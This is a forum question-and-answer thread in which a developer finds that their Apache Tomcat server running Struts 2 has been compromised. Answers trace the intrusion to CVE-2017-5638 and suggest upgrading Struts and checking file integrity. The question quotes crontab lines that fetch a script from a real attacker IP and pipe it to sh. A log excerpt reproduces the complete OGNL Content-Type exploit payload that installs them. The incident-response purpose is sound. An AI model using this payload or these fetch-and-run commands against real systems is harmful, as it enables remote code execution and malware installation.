Shell script attack on Apache server, via an cron of unknown origin

While running a project war on Apache tomcat server I found that the server has been compromised.

While running the war on an unknown cron is running like this

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

The downloaded logo.jpg has a shell script which is downloading a malware.

I found a similar issue on this website below

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

and

https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux

I am unable to find the origin of this cron scheduler in my whole code.

What I wish to know that has anyone faced this issue? and how should I go about finding the origin of the scheduler in code.

Note:

I am working on a JAVA(Struts 2)+jsp+javascript+jquery web project.

This scheduler is running every time I am starting my tomcat with the war file of the project, but I am not able to find any scheduler for scheduler in my code.

I have found the following line in my log files

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

After OP had added logs, it become clearly, that problem is in Remote Code Execution exploit for Struts 2 (CVE-2017-5638).

Some additional links:

1. New Struts2 Remote Code Execution exploit caught in the wild.
2. CVE-2017-5638 - Apache Struts2 S2-045.

Solution is to upgrade your Struts to version 2.3.32 or 2.5.10.1.

I've faced similar issues before when I was sysadmin. I think you must distinct if it's your tomcat server or your Java app.

When you start tomcat without the "infected Java app" is the cron getting enabled? (I mean, deleting your application from Tomcat and starting it) If so then you have a bigger problem, you'll need to verify the startup scripts and every application deployed in the tomcat server.

Otherwise we are sure your app is the issue.

If that's the case go to:

$CATALINA_BASE/webapps/your_app 

Verify the integrity of your application, is there additional files that you do not recognize?

Now go to the webapps directory of your tomcat installation:

$CATALINA_BASE/webapps/

In that directory perform:

grep -R '91.230.47.40' *

To find the possible file/line-of-code which causes the infection, it could be a file of your app or a new one.

Do you have your code in a CSV system?

Build the war file outside the infected server from your CSV repo and do:

md5sum your_app.war

Remove your application from the tomcat server and re-deploy, verify that you're uploading the correct war through md5, then check if the crontab is being invoked.

If you provide feedback on this steps I'll be glad to help.